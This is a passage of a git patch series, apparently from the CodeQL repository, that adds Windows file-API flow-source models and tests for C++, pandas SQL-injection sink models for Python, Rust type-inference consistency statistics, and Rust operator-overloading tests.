OffsetHigh; + } DUMMYSTRUCTNAME; + PVOID Pointer; + } DUMMYUNIONNAME; + HANDLE hEvent; +} OVERLAPPED, *LPOVERLAPPED; + +using BOOL = int; +#define FILE_MAP_READ 0x0004 + +using ULONG64 = unsigned long long; +using ULONG = unsigned long; + +using DWORD64 = unsigned long long; +#define MEM_EXTENDED_PARAMETER_TYPE_BITS 8 + +typedef struct MEM_EXTENDED_PARAMETER { + struct { + DWORD64 Type : MEM_EXTENDED_PARAMETER_TYPE_BITS; + DWORD64 Reserved : 64 - MEM_EXTENDED_PARAMETER_TYPE_BITS; + } DUMMYSTRUCTNAME; + union { + DWORD64 ULong64; + PVOID Pointer; + SIZE_T Size; + HANDLE Handle; + DWORD ULong; + } DUMMYUNIONNAME; +} MEM_EXTENDED_PARAMETER, *PMEM_EXTENDED_PARAMETER; + +BOOL ReadFile( + HANDLE hFile, + LPVOID lpBuffer, + DWORD nNumberOfBytesToRead, + LPDWORD lpNumberOfBytesRead, + LPOVERLAPPED lpOverlapped +); + +using LPOVERLAPPED_COMPLETION_ROUTINE = void (*)(DWORD, DWORD, LPOVERLAPPED); + +BOOL ReadFileEx( + HANDLE hFile, + LPVOID lpBuffer, + DWORD nNumberOfBytesToRead, + LPOVERLAPPED lpOverlapped, + LPOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine +); + +using NTSTATUS = long; +using PIO_APC_ROUTINE = void (*)(struct _DEVICE_OBJECT*, struct _IRP*, PVOID); +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; +using LONGLONG = long long; +using LONG = long; +typedef struct _LARGE_INTEGER { + union { + struct { + ULONG LowPart; + LONG HighPart; + } DUMMYSTRUCTNAME; + LONGLONG QuadPart; + } DUMMYUNIONNAME; +} LARGE_INTEGER, *PLARGE_INTEGER; + +using PULONG = unsigned long*; + +NTSTATUS NtReadFile( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID Buffer, + ULONG Length, + PLARGE_INTEGER ByteOffset, + PULONG Key +); + + +void FileIOCompletionRoutine( + DWORD dwErrorCode, + DWORD dwNumberOfBytesTransfered, + LPOVERLAPPED lpOverlapped +) { + char* buffer = reinterpret_cast(lpOverlapped->hEvent); + sink(buffer); + sink(*buffer); // $ MISSING: ir +} + +void readFile(HANDLE hFile) { + { + char buffer[1024]; + DWORD bytesRead; + OVERLAPPED overlapped; + BOOL result = ReadFile(hFile, buffer, sizeof(buffer), &bytesRead, &overlapped); + sink(buffer); + sink(*buffer); // $ ir + } + + { + char buffer[1024]; + OVERLAPPED overlapped; + overlapped.hEvent = reinterpret_cast(buffer); + ReadFileEx(hFile, buffer, sizeof(buffer) - 1, &overlapped, FileIOCompletionRoutine); + sink(buffer); + sink(*buffer); // $ ir + + char* p = reinterpret_cast(overlapped.hEvent); + sink(p); + sink(*p); // $ MISSING: ir + } + + { + char buffer[1024]; + IO_STATUS_BLOCK ioStatusBlock; + LARGE_INTEGER byteOffset; + ULONG key; + NTSTATUS status = NtReadFile(hFile, nullptr, nullptr, nullptr, &ioStatusBlock, buffer, sizeof(buffer), &byteOffset, &key); + sink(buffer); + sink(*buffer); // $ ir + } +} + +LPVOID MapViewOfFile( + HANDLE hFileMappingObject, + DWORD dwDesiredAccess, + DWORD dwFileOffsetHigh, + DWORD dwFileOffsetLow, + SIZE_T dwNumberOfBytesToMap +); + +PVOID MapViewOfFile2( + HANDLE FileMappingHandle, + HANDLE ProcessHandle, + ULONG64 Offset, + PVOID BaseAddress, + SIZE_T ViewSize, + ULONG AllocationType, + ULONG PageProtection +); + +PVOID MapViewOfFile3( + HANDLE FileMapping, + HANDLE Process, + PVOID BaseAddress, + ULONG64 Offset, + SIZE_T ViewSize, + ULONG AllocationType, + ULONG PageProtection, + MEM_EXTENDED_PARAMETER *ExtendedParameters, + ULONG ParameterCount +); + +PVOID MapViewOfFile3FromApp( + HANDLE FileMapping, + HANDLE Process, + PVOID BaseAddress, + ULONG64 Offset, + SIZE_T ViewSize, + ULONG AllocationType, + ULONG PageProtection, + MEM_EXTENDED_PARAMETER *ExtendedParameters, + ULONG ParameterCount +); + +LPVOID MapViewOfFileEx( + HANDLE hFileMappingObject, + DWORD dwDesiredAccess, + DWORD dwFileOffsetHigh, + DWORD dwFileOffsetLow, + SIZE_T dwNumberOfBytesToMap, + LPVOID lpBaseAddress +); + +PVOID MapViewOfFileFromApp( + HANDLE hFileMappingObject, + ULONG DesiredAccess, + ULONG64 FileOffset, + SIZE_T NumberOfBytesToMap +); + +PVOID MapViewOfFileNuma2( + HANDLE FileMappingHandle, + HANDLE ProcessHandle, + ULONG64 Offset, + PVOID BaseAddress, + SIZE_T ViewSize, + ULONG AllocationType, + ULONG PageProtection, + ULONG PreferredNode +); + +void mapViewOfFile(HANDLE hMapFile) { + { + LPVOID pMapView = MapViewOfFile(hMapFile, FILE_MAP_READ, 0, 0, 0); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + LPVOID pMapView = MapViewOfFile2(hMapFile, nullptr, 0, nullptr, 0, 0, 0); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + MEM_EXTENDED_PARAMETER extendedParams; + + LPVOID pMapView = MapViewOfFile3(hMapFile, nullptr, 0, 0, 0, 0, 0, &extendedParams, 1); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + MEM_EXTENDED_PARAMETER extendedParams; + + LPVOID pMapView = MapViewOfFile3FromApp(hMapFile, nullptr, 0, 0, 0, 0, 0, &extendedParams, 1); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + LPVOID pMapView = MapViewOfFileEx(hMapFile, FILE_MAP_READ, 0, 0, 0, nullptr); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + LPVOID pMapView = MapViewOfFileFromApp(hMapFile, FILE_MAP_READ, 0, 0); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } + + { + LPVOID pMapView = MapViewOfFileNuma2(hMapFile, nullptr, 0, nullptr, 0, 0, 0, 0); + char* buffer = reinterpret_cast(pMapView); + sink(buffer); + sink(*buffer); // $ ir + } +} From fd9adc43c230545498f1b8ae070b6678c10e8da9 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Tue, 27 May 2025 11:00:48 +0100 Subject: [PATCH 398/535] C++: Add change note. --- cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md diff --git a/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md b/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md new file mode 100644 index 000000000000..423a1a424f9d --- /dev/null +++ b/cpp/ql/lib/change-notes/2025-05-27-windows-sources-2.md @@ -0,0 +1,4 @@ +--- +category: feature +--- +* Added local flow source models for `ReadFile`, `ReadFileEx`, `MapViewOfFile`, `MapViewOfFile2`, `MapViewOfFile3`, `MapViewOfFile3FromApp`, `MapViewOfFileEx`, `MapViewOfFileFromApp`, `MapViewOfFileNuma2`, and `NtReadFile`. \ No newline at end of file From 52280625eeeee973f1b998cfc062caf93cd53e62 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Fri, 23 May 2025 14:20:44 +0200 Subject: [PATCH 399/535] Rust: Add type inference inconsistency counts to the stats summary --- .../internal/TypeInferenceConsistency.qll | 24 +++++++++++++++++++ rust/ql/src/queries/summary/Stats.qll | 15 ++++++++++++ rust/ql/src/queries/summary/SummaryStats.ql | 2 ++ .../TypeInferenceConsistency.expected | 3 +++ 4 files changed, 44 insertions(+) create mode 100644 rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected diff --git a/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll b/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll index 214ee3e6d493..e9bcf35badc4 100644 --- a/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll +++ b/rust/ql/lib/codeql/rust/internal/TypeInferenceConsistency.qll @@ -2,4 +2,28 @@ * Provides classes for recognizing type inference inconsistencies. */ +private import Type +private import TypeMention +private import TypeInference::Consistency as Consistency import TypeInference::Consistency + +query predicate illFormedTypeMention(TypeMention tm) { + Consistency::illFormedTypeMention(tm) and + // Only include inconsistencies in the source, as we otherwise get + // inconsistencies from library code in every project. + tm.fromSource() +} + +int getTypeInferenceInconsistencyCounts(string type) { + type = "Missing type parameter ID" and + result = count(TypeParameter tp | missingTypeParameterId(tp) | tp) + or + type = "Non-functional type parameter ID" and + result = count(TypeParameter tp | nonFunctionalTypeParameterId(tp) | tp) + or + type = "Non-injective type parameter ID" and + result = count(TypeParameter tp | nonInjectiveTypeParameterId(tp, _) | tp) + or + type = "Ill-formed type mention" and + result = count(TypeMention tm | illFormedTypeMention(tm) | tm) +} diff --git a/rust/ql/src/queries/summary/Stats.qll b/rust/ql/src/queries/summary/Stats.qll index 2199a3ddff0b..db0a05629df9 100644 --- a/rust/ql/src/queries/summary/Stats.qll +++ b/rust/ql/src/queries/summary/Stats.qll @@ -8,6 +8,7 @@ private import codeql.rust.dataflow.internal.DataFlowImpl private import codeql.rust.dataflow.internal.TaintTrackingImpl private import codeql.rust.internal.AstConsistency as AstConsistency private import codeql.rust.internal.PathResolutionConsistency as PathResolutionConsistency +private import codeql.rust.internal.TypeInferenceConsistency as TypeInferenceConsistency private import codeql.rust.controlflow.internal.CfgConsistency as CfgConsistency private import codeql.rust.dataflow.internal.DataFlowConsistency as DataFlowConsistency private import codeql.rust.dataflow.internal.SsaImpl::Consistency as SsaConsistency @@ -52,6 +53,13 @@ int getTotalPathResolutionInconsistencies() { sum(string type | | PathResolutionConsistency::getPathResolutionInconsistencyCounts(type)) } +/** + * Gets a count of the total number of type inference inconsistencies in the database. + */ +int getTotalTypeInferenceInconsistencies() { + result = sum(string type | | TypeInferenceConsistency::getTypeInferenceInconsistencyCounts(type)) +} + /** * Gets a count of the total number of control flow graph inconsistencies in the database. */ @@ -159,6 +167,13 @@ predicate inconsistencyStats(string key, int value) { key = "Inconsistencies - data flow" and value = getTotalDataFlowInconsistencies() } +/** + * Gets summary statistics about inconsistencies related to type inference. + */ +predicate typeInferenceInconsistencyStats(string key, int value) { + key = "Inconsistencies - Type inference" and value = getTotalTypeInferenceInconsistencies() +} + /** * Gets summary statistics about taint. */ diff --git a/rust/ql/src/queries/summary/SummaryStats.ql b/rust/ql/src/queries/summary/SummaryStats.ql index 57ac5b4004e3..515c78c7268c 100644 --- a/rust/ql/src/queries/summary/SummaryStats.ql +++ b/rust/ql/src/queries/summary/SummaryStats.ql @@ -17,5 +17,7 @@ where or inconsistencyStats(key, value) or + typeInferenceInconsistencyStats(key, value) + or taintStats(key, value) select key, value order by key diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected new file mode 100644 index 000000000000..9bd564492406 --- /dev/null +++ b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/TypeInferenceConsistency.expected @@ -0,0 +1,3 @@ +illFormedTypeMention +| sqlx.rs:158:13:158:81 | ...::BoxDynError | +| sqlx.rs:160:17:160:86 | ...::BoxDynError | From e406f27bb379fe95c2a2c2723a3ef52cbc41afbb Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Tue, 27 May 2025 11:45:18 +0100 Subject: [PATCH 400/535] Update cpp/ql/lib/ext/Windows.model.yml Co-authored-by: Jeroen Ketema <93738568+jketema@users.noreply.github.com> --- cpp/ql/lib/ext/Windows.model.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/cpp/ql/lib/ext/Windows.model.yml b/cpp/ql/lib/ext/Windows.model.yml index 89127459f961..cdc4d9464968 100644 --- a/cpp/ql/lib/ext/Windows.model.yml +++ b/cpp/ql/lib/ext/Windows.model.yml @@ -11,6 +11,7 @@ extensions: - ["", "", False, "GetEnvironmentStringsW", "", "", "ReturnValue[*]", "local", "manual"] - ["", "", False, "GetEnvironmentVariableA", "", "", "Argument[*1]", "local", "manual"] - ["", "", False, "GetEnvironmentVariableW", "", "", "Argument[*1]", "local", "manual"] + # fileapi.h - ["", "", False, "ReadFile", "", "", "Argument[*1]", "local", "manual"] - ["", "", False, "ReadFileEx", "", "", "Argument[*1]", "local", "manual"] - ["", "", False, "MapViewOfFile", "", "", "ReturnValue[*]", "local", "manual"] From 80229644b89fd496dcfc763a7640f6b7de2a504f Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Tue, 27 May 2025 11:45:27 +0100 Subject: [PATCH 401/535] Update cpp/ql/lib/ext/Windows.model.yml Co-authored-by: Jeroen Ketema <93738568+jketema@users.noreply.github.com> --- cpp/ql/lib/ext/Windows.model.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/cpp/ql/lib/ext/Windows.model.yml b/cpp/ql/lib/ext/Windows.model.yml index cdc4d9464968..2c07b773fca1 100644 --- a/cpp/ql/lib/ext/Windows.model.yml +++ b/cpp/ql/lib/ext/Windows.model.yml @@ -14,6 +14,7 @@ extensions: # fileapi.h - ["", "", False, "ReadFile", "", "", "Argument[*1]", "local", "manual"] - ["", "", False, "ReadFileEx", "", "", "Argument[*1]", "local", "manual"] + # memoryapi.h - ["", "", False, "MapViewOfFile", "", "", "ReturnValue[*]", "local", "manual"] - ["", "", False, "MapViewOfFile2", "", "", "ReturnValue[*]", "local", "manual"] - ["", "", False, "MapViewOfFile3", "", "", "ReturnValue[*]", "local", "manual"] From a05ddca9c94f2ecda541ac583f6c3f8b935d7e20 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Tue, 27 May 2025 11:45:35 +0100 Subject: [PATCH 402/535] Update cpp/ql/lib/ext/Windows.model.yml Co-authored-by: Jeroen Ketema <93738568+jketema@users.noreply.github.com> --- cpp/ql/lib/ext/Windows.model.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/cpp/ql/lib/ext/Windows.model.yml b/cpp/ql/lib/ext/Windows.model.yml index 2c07b773fca1..3dcde03f9a1b 100644 --- a/cpp/ql/lib/ext/Windows.model.yml +++ b/cpp/ql/lib/ext/Windows.model.yml @@ -22,6 +22,7 @@ extensions: - ["", "", False, "MapViewOfFileEx", "", "", "ReturnValue[*]", "local", "manual"] - ["", "", False, "MapViewOfFileFromApp", "", "", "ReturnValue[*]", "local", "manual"] - ["", "", False, "MapViewOfFileNuma2", "", "", "ReturnValue[*]", "local", "manual"] + # ntifs.h - ["", "", False, "NtReadFile", "", "", "Argument[*5]", "local", "manual"] - addsTo: pack: codeql/cpp-all From ac724d2671df66ad4247850850743949de95db90 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Tue, 27 May 2025 13:08:20 +0200 Subject: [PATCH 403/535] Update rust/extractor/src/main.rs Co-authored-by: Simon Friis Vindum --- rust/extractor/src/main.rs | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs index fd827f46d7c6..928542c54226 100644 --- a/rust/extractor/src/main.rs +++ b/rust/extractor/src/main.rs @@ -277,15 +277,10 @@ fn main() -> anyhow::Result<()> { } else { ResolvePaths::Yes }; - let library_mode = if cfg.extract_dependencies_as_source { - SourceKind::Source + let (library_mode, library_resolve_paths) = if cfg.extract_dependencies_as_source { + (SourceKind::Source, resolve_paths) } else { - SourceKind::Library - }; - let library_resolve_paths = if cfg.extract_dependencies_as_source { - resolve_paths - } else { - ResolvePaths::No + (SourceKind::Library, ResolvePaths::No) }; let mut processed_files: HashSet = HashSet::from_iter(files.iter().cloned()); From 84228e0ec8c62853633479e0be2405bea4b7ca4e Mon Sep 17 00:00:00 2001 From: Sylwia Budzynska <102833689+sylwia-budzynska@users.noreply.github.com> Date: Tue, 27 May 2025 13:10:39 +0200 Subject: [PATCH 404/535] Add Pandas SQLi sinks --- python/ql/lib/semmle/python/frameworks/Pandas.qll | 11 +++++++++++ .../src/change-notes/2025-05-26-pandas-sqli-sinks.md | 4 ++++ .../frameworks/pandas/dataframe_query.py | 8 +++++--- 3 files changed, 20 insertions(+), 3 deletions(-) create mode 100644 python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md diff --git a/python/ql/lib/semmle/python/frameworks/Pandas.qll b/python/ql/lib/semmle/python/frameworks/Pandas.qll index eb6c3c44409c..fecfb58674f0 100644 --- a/python/ql/lib/semmle/python/frameworks/Pandas.qll +++ b/python/ql/lib/semmle/python/frameworks/Pandas.qll @@ -151,4 +151,15 @@ private module Pandas { override DataFlow::Node getCode() { result = this.getParameter(0, "expr").asSink() } } + + /** + * A Call to `pandas.read_sql` or `pandas.read_sql_query` + * which allows for executing raw SQL queries against a database. + * See https://pandas.pydata.org/docs/reference/api/pandas.read_sql.html + */ + class ReadSQLCall extends SqlExecution::Range, DataFlow::CallCfgNode { + ReadSQLCall() { this = API::moduleImport("pandas").getMember(["read_sql", "read_sql_query"]).getACall() } + + override DataFlow::Node getSql() { result in [this.getArg(0), this.getArgByName("sql")] } + } } diff --git a/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md b/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md new file mode 100644 index 000000000000..a230dcc63ec3 --- /dev/null +++ b/python/ql/src/change-notes/2025-05-26-pandas-sqli-sinks.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Added SQL injection models from the `pandas` PyPI package. diff --git a/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py b/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py index a524fa214459..6ad7a6101c51 100644 --- a/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py +++ b/python/ql/test/library-tests/frameworks/pandas/dataframe_query.py @@ -1,5 +1,5 @@ import pandas as pd - +import sqlite3 df = pd.DataFrame({'temp_c': [17.0, 25.0]}, index=['Portland', 'Berkeley']) df.sample().query("query") # $getCode="query" @@ -55,11 +55,13 @@ df.query("query") # $getCode="query" df.eval("query") # $getCode="query" -df = pd.read_sql_query("filepath", 'postgres:///db_name') +connection = sqlite3.connect("pets.db") +df = pd.read_sql_query("sql query", connection) # $getSql="sql query" df.query("query") # $getCode="query" df.eval("query") # $getCode="query" -df = pd.read_sql("filepath", 'postgres:///db_name') +connection = sqlite3.connect("pets.db") +df = pd.read_sql("sql query", connection) # $getSql="sql query" df.query("query") # $getCode="query" df.eval("query") # $getCode="query" From 6e9a4be2bcd4269f578f91ae62f2ec41d2ce68a4 Mon Sep 17 00:00:00 2001 From: Simon Friis Vindum Date: Tue, 27 May 2025 13:18:23 +0200 Subject: [PATCH 405/535] Rust: Add type inference test for overloaded operators --- .../test/library-tests/type-inference/main.rs | 379 ++- .../type-inference/type-inference.expected | 2174 +++++++++++------ 2 files changed, 1767 insertions(+), 786 deletions(-) diff --git a/rust/ql/test/library-tests/type-inference/main.rs b/rust/ql/test/library-tests/type-inference/main.rs index 9f0056522b6c..d6696705c3e7 100644 --- a/rust/ql/test/library-tests/type-inference/main.rs +++ b/rust/ql/test/library-tests/type-inference/main.rs @@ -765,11 +765,12 @@ mod method_supertraits { } trait MyTrait2: MyTrait1 { + #[rustfmt::skip] fn m2(self) -> Tr2 where Self: Sized, { - if 1 + 1 > 2 { + if 3 > 2 { // $ MISSING: method=gt self.m1() // $ method=MyTrait1::m1 } else { Self::m1(self) @@ -778,11 +779,12 @@ mod method_supertraits { } trait MyTrait3: MyTrait2> { + #[rustfmt::skip] fn m3(self) -> Tr3 where Self: Sized, { - if 1 + 1 > 2 { + if 3 > 2 { // $ MISSING: method=gt self.m2().a // $ method=m2 $ fieldof=MyThing } else { Self::m2(self).a // $ fieldof=MyThing @@ -1024,21 +1026,24 @@ mod option_methods { let x6 = MyOption::MySome(MyOption::::MyNone()); println!("{:?}", MyOption::>::flatten(x6)); - let from_if = if 1 + 1 > 2 { + #[rustfmt::skip] + let from_if = if 3 > 2 { // $ MISSING: method=gt MyOption::MyNone() } else { MyOption::MySome(S) }; println!("{:?}", from_if); - let from_match = match 1 + 1 > 2 { + #[rustfmt::skip] + let from_match = match 3 > 2 { // $ MISSING: method=gt true => MyOption::MyNone(), false => MyOption::MySome(S), }; println!("{:?}", from_match); + #[rustfmt::skip] let from_loop = loop { - if 1 + 1 > 2 { + if 3 > 2 { // $ MISSING: method=gt break MyOption::MyNone(); } break MyOption::MySome(S); @@ -1240,7 +1245,7 @@ mod builtins { pub fn f() { let x: i32 = 1; // $ type=x:i32 let y = 2; // $ type=y:i32 - let z = x + y; // $ MISSING: type=z:i32 + let z = x + y; // $ MISSING: type=z:i32 method=add let z = x.abs(); // $ method=abs $ type=z:i32 let c = 'c'; // $ type=c:char let hello = "Hello"; // $ type=hello:str @@ -1250,13 +1255,15 @@ mod builtins { } } +// Tests for non-overloaded operators. mod operators { pub fn f() { let x = true && false; // $ type=x:bool let y = true || false; // $ type=y:bool let mut a; - if 34 == 33 { + let cond = 34 == 33; // $ MISSING: method=eq + if cond { let z = (a = 1); // $ type=z:() type=a:i32 } else { a = 2; // $ type=a:i32 @@ -1265,6 +1272,364 @@ mod operators { } } +// Tests for overloaded operators. +mod overloadable_operators { + use std::ops::*; + // A vector type with overloaded operators. + #[derive(Debug, Copy, Clone)] + struct Vec2 { + x: i64, + y: i64, + } + // Implement all overloadable operators for Vec2 + impl Add for Vec2 { + type Output = Self; + // Vec2::add + fn add(self, rhs: Self) -> Self { + Vec2 { + x: self.x + rhs.x, // $ fieldof=Vec2 MISSING: method=add + y: self.y + rhs.y, // $ fieldof=Vec2 MISSING: method=add + } + } + } + impl AddAssign for Vec2 { + // Vec2::add_assign + #[rustfmt::skip] + fn add_assign(&mut self, rhs: Self) { + self.x += rhs.x; // $ fieldof=Vec2 MISSING: method=add_assign + self.y += rhs.y; // $ fieldof=Vec2 MISSING: method=add_assign + } + } + impl Sub for Vec2 { + type Output = Self; + // Vec2::sub + fn sub(self, rhs: Self) -> Self { + Vec2 { + x: self.x - rhs.x, // $ fieldof=Vec2 MISSING: method=sub + y: self.y - rhs.y, // $ fieldof=Vec2 MISSING: method=sub + } + } + } + impl SubAssign for Vec2 { + // Vec2::sub_assign + #[rustfmt::skip] + fn sub_assign(&mut self, rhs: Self) { + self.x -= rhs.x; // $ fieldof=Vec2 MISSING: method=sub_assign + self.y -= rhs.y; // $ fieldof=Vec2 MISSING: method=sub_assign + } + } + impl Mul for Vec2 { + type Output = Self; + // Vec2::mul + fn mul(self, rhs: Self) -> Self { + Vec2 { + x: self.x * rhs.x, // $ fieldof=Vec2 MISSING: method=mul + y: self.y * rhs.y, // $ fieldof=Vec2 MISSING: method=mul + } + } + } + impl MulAssign for Vec2 { + // Vec2::mul_assign + fn mul_assign(&mut self, rhs: Self) { + self.x *= rhs.x; // $ fieldof=Vec2 MISSING: method=mul_assign + self.y *= rhs.y; // $ fieldof=Vec2 MISSING: method=mul_assign + } + } + impl Div for Vec2 { + type Output = Self; + // Vec2::div + fn div(self, rhs: Self) -> Self { + Vec2 { + x: self.x / rhs.x, // $ fieldof=Vec2 MISSING: method=div + y: self.y / rhs.y, // $ fieldof=Vec2 MISSING: method=div + } + } + } + impl DivAssign for Vec2 { + // Vec2::div_assign + fn div_assign(&mut self, rhs: Self) { + self.x /= rhs.x; // $ fieldof=Vec2 MISSING: method=div_assign + self.y /= rhs.y; // $ fieldof=Vec2 MISSING: method=div_assign + } + } + impl Rem for Vec2 { + type Output = Self; + // Vec2::rem + fn rem(self, rhs: Self) -> Self { + Vec2 { + x: self.x % rhs.x, // $ fieldof=Vec2 MISSING: method=rem + y: self.y % rhs.y, // $ fieldof=Vec2 MISSING: method=rem + } + } + } + impl RemAssign for Vec2 { + // Vec2::rem_assign + fn rem_assign(&mut self, rhs: Self) { + self.x %= rhs.x; // $ fieldof=Vec2 MISSING: method=rem_assign + self.y %= rhs.y; // $ fieldof=Vec2 MISSING: method=rem_assign + } + } + impl BitAnd for Vec2 { + type Output = Self; + // Vec2::bitand + fn bitand(self, rhs: Self) -> Self { + Vec2 { + x: self.x & rhs.x, // $ fieldof=Vec2 MISSING: method=bitand + y: self.y & rhs.y, // $ fieldof=Vec2 MISSING: method=bitand + } + } + } + impl BitAndAssign for Vec2 { + // Vec2::bitand_assign + fn bitand_assign(&mut self, rhs: Self) { + self.x &= rhs.x; // $ fieldof=Vec2 MISSING: method=bitand_assign + self.y &= rhs.y; // $ fieldof=Vec2 MISSING: method=bitand_assign + } + } + impl BitOr for Vec2 { + type Output = Self; + // Vec2::bitor + fn bitor(self, rhs: Self) -> Self { + Vec2 { + x: self.x | rhs.x, // $ fieldof=Vec2 MISSING: method=bitor + y: self.y | rhs.y, // $ fieldof=Vec2 MISSING: method=bitor + } + } + } + impl BitOrAssign for Vec2 { + // Vec2::bitor_assign + fn bitor_assign(&mut self, rhs: Self) { + self.x |= rhs.x; // $ fieldof=Vec2 MISSING: method=bitor_assign + self.y |= rhs.y; // $ fieldof=Vec2 MISSING: method=bitor_assign + } + } + impl BitXor for Vec2 { + type Output = Self; + // Vec2::bitxor + fn bitxor(self, rhs: Self) -> Self { + Vec2 { + x: self.x ^ rhs.x, // $ fieldof=Vec2 MISSING: method=bitxor + y: self.y ^ rhs.y, // $ fieldof=Vec2 MISSING: method=bitxor + } + } + } + impl BitXorAssign for Vec2 { + // Vec2::bitxor_assign + fn bitxor_assign(&mut self, rhs: Self) { + self.x ^= rhs.x; // $ fieldof=Vec2 MISSING: method=bitxor_assign + self.y ^= rhs.y; // $ fieldof=Vec2 MISSING: method=bitxor_assign + } + } + impl Shl for Vec2 { + type Output = Self; + // Vec2::shl + fn shl(self, rhs: u32) -> Self { + Vec2 { + x: self.x << rhs, // $ fieldof=Vec2 MISSING: method=shl + y: self.y << rhs, // $ fieldof=Vec2 MISSING: method=shl + } + } + } + impl ShlAssign for Vec2 { + // Vec2::shl_assign + fn shl_assign(&mut self, rhs: u32) { + self.x <<= rhs; // $ fieldof=Vec2 MISSING: method=shl_assign + self.y <<= rhs; // $ fieldof=Vec2 MISSING: method=shl_assign + } + } + impl Shr for Vec2 { + type Output = Self; + // Vec2::shr + fn shr(self, rhs: u32) -> Self { + Vec2 { + x: self.x >> rhs, // $ fieldof=Vec2 MISSING: method=shr + y: self.y >> rhs, // $ fieldof=Vec2 MISSING: method=shr + } + } + } + impl ShrAssign for Vec2 { + // Vec2::shr_assign + fn shr_assign(&mut self, rhs: u32) { + self.x >>= rhs; // $ fieldof=Vec2 MISSING: method=shr_assign + self.y >>= rhs; // $ fieldof=Vec2 MISSING: method=shr_assign + } + } + impl Neg for Vec2 { + type Output = Self; + // Vec2::neg + fn neg(self) -> Self { + Vec2 { + x: -self.x, // $ fieldof=Vec2 MISSING: method=neg + y: -self.y, // $ fieldof=Vec2 MISSING: method=neg + } + } + } + impl Not for Vec2 { + type Output = Self; + // Vec2::not + fn not(self) -> Self { + Vec2 { + x: !self.x, // $ fieldof=Vec2 MISSING: method=not + y: !self.y, // $ fieldof=Vec2 MISSING: method=not + } + } + } + impl PartialEq for Vec2 { + // Vec2::eq + fn eq(&self, other: &Self) -> bool { + self.x == other.x && self.y == other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=eq + } + // Vec2::ne + fn ne(&self, other: &Self) -> bool { + self.x != other.x || self.y != other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=ne + } + } + impl PartialOrd for Vec2 { + // Vec2::partial_cmp + fn partial_cmp(&self, other: &Self) -> Option { + (self.x + self.y).partial_cmp(&(other.x + other.y)) // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=partial_cmp method=add + } + // Vec2::lt + fn lt(&self, other: &Self) -> bool { + self.x < other.x && self.y < other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=lt + } + // Vec2::le + fn le(&self, other: &Self) -> bool { + self.x <= other.x && self.y <= other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=le + } + // Vec2::gt + fn gt(&self, other: &Self) -> bool { + self.x > other.x && self.y > other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=gt + } + // Vec2::ge + fn ge(&self, other: &Self) -> bool { + self.x >= other.x && self.y >= other.y // $ fieldof=Vec2 fieldof=Vec2 MISSING: method=ge + } + } + pub fn f() { + // Test for all overloadable operators on `i64` + + // Comparison operators + let i64_eq = (1i64 == 2i64); // $ MISSING: type=i64_eq:bool method=eq + let i64_ne = (3i64 != 4i64); // $ MISSING: type=i64_ne:bool method=ne + let i64_lt = (5i64 < 6i64); // $ MISSING: type=i64_lt:bool method=lt + let i64_le = (7i64 <= 8i64); // $ MISSING: type=i64_le:bool method=le + let i64_gt = (9i64 > 10i64); // $ MISSING: type=i64_gt:bool method=gt + let i64_ge = (11i64 >= 12i64); // $ MISSING: type=i64_ge:bool method=ge + + // Arithmetic operators + let i64_add = 13i64 + 14i64; // $ MISSING: type=i64_add:i64 method=add + let i64_sub = 15i64 - 16i64; // $ MISSING: type=i64_sub:i64 method=sub + let i64_mul = 17i64 * 18i64; // $ MISSING: type=i64_mul:i64 method=mul + let i64_div = 19i64 / 20i64; // $ MISSING: type=i64_div:i64 method=div + let i64_rem = 21i64 % 22i64; // $ MISSING: 